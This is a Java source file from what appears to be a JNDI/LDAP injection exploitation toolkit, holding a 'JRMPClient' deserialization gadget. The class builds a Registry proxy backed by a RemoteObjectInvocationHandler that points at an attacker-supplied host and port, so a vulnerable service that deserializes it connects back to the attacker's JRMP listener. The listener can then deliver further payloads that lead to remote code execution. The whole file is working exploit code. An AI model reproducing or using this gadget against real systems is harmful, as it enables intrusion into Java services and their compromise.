content: package com.feihong.ldap.gadgets;
  
  
  import java.lang.reflect.Proxy;
  import java.rmi.registry.Registry;
  import java.rmi.server.ObjID;
  import java.rmi.server.RemoteObjectInvocationHandler;
  import java.util.Random;
  
  import sun.rmi.server.UnicastRef;
  import sun.rmi.transport.LiveRef;
  import sun.rmi.transport.tcp.TCPEndpoint;
  
  
  
  public class JRMPClient {
  
      public Registry getObject ( final String command ) throws Exception {
  
          String host;
          int port;
          int sep = command.indexOf(':');
          if ( sep < 0 ) {
              port = new Random().nextInt(65535);
              host = command;
          }
          else {
              host = command.substring(0, sep);
              port = Integer.valueOf(command.substring(sep + 1));
          }
          ObjID id = new ObjID(new Random().nextInt()); // RMI registry
          TCPEndpoint te = new TCPEndpoint(host, port);
          UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
          RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
          Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
              Registry.class
          }, obj);
          return proxy;
      }
  
  
      public static void main ( final String[] args ) throws Exception {
  
      }
  }
  